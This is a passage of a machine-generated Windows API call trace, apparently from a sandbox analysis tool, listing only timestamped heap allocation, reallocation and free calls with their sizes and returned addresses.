RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x13) returned 0x2d35e68 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362a8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350b0 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350f8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab18 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aaf8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.551] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35068, Size=0x20) returned 0x2d4a308 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350e0 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2d36408 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36428 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351a0 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363c8 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2d4da78 [0118.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2d50cc8 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aad8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e68 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35098 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aae8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35200 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aaf8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab18 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350f8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350b0 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350e0 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab08 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f78 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36228 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4da78 | out: hHeap=0x2a0000) returned 1 [0118.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351a0 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab28 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363c8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a308 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34df8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351b8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e58 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34de0 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a3a8 | out: hHeap=0x2a0000) returned 1 [0118.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360c8 | out: hHeap=0x2a0000) returned 1 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34de0 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34e58 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351b8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361c8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36188 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a3a8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36148 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351a0 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f68 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x15) returned 0x2d35ee8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0118.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350e0 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350b0 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab18 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d350f8 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35050 | out: hHeap=0x2a0000) returned 1 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36028 | out: hHeap=0x2a0000) returned 1 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36028 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fe8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35050 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34fd8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7c) returned 0x2d4ead8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a308 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36408 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362a8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x15) returned 0x2d362c8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35128 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351e8 [0118.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x58) returned 0x2d4da78 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a308 | out: hHeap=0x2a0000) returned 1 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35098 | out: hHeap=0x2a0000) returned 1 [0118.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aaf8 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35200 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36228 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aae8 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351e8 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0118.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35128 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363c8 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351b8 | out: hHeap=0x2a0000) returned 1 [0118.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360c8 | out: hHeap=0x2a0000) returned 1 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360c8 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d351b8 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab48 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10e) returned 0x2d50d60 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35158 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0118.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a308 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35110 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35128 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d363c8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34dc8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4ab78 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351e8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0118.558] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35068, Size=0x20) returned 0x2d4a330 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35068 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36408 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d362a8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35230 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x49) returned 0x2d50e78 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35200 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36228 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4e) returned 0x2d50ed0 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35170 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35290 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acd8 [0118.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7a) returned 0x2d4eb60 [0118.558] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a330, Size=0x40) returned 0x2d36560 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e88 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d98 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e68 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1b) returned 0x2d4a330 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x435) returned 0x2d4e2d8 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fc8 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d35878 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac68 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100) returned 0x2d50f28 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35560 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10c) returned 0x2d4e718 [0118.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35560 | out: hHeap=0x2a0000) returned 1 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d51030 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d510a0 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35560 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac38 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f88 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36368 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35890 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d359c8 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acc8 [0118.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359e0 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d357d0, Size=0x20) returned 0x2d4a4e8 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35890, Size=0x20) returned 0x2d4a420 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35890, Size=0x20) returned 0x2d4a448 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d358a8, Size=0x20) returned 0x2d4a4e8 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35998, Size=0x20) returned 0x2d4a448 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35998, Size=0x20) returned 0x2d4a470 [0118.559] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35a58, Size=0x20) returned 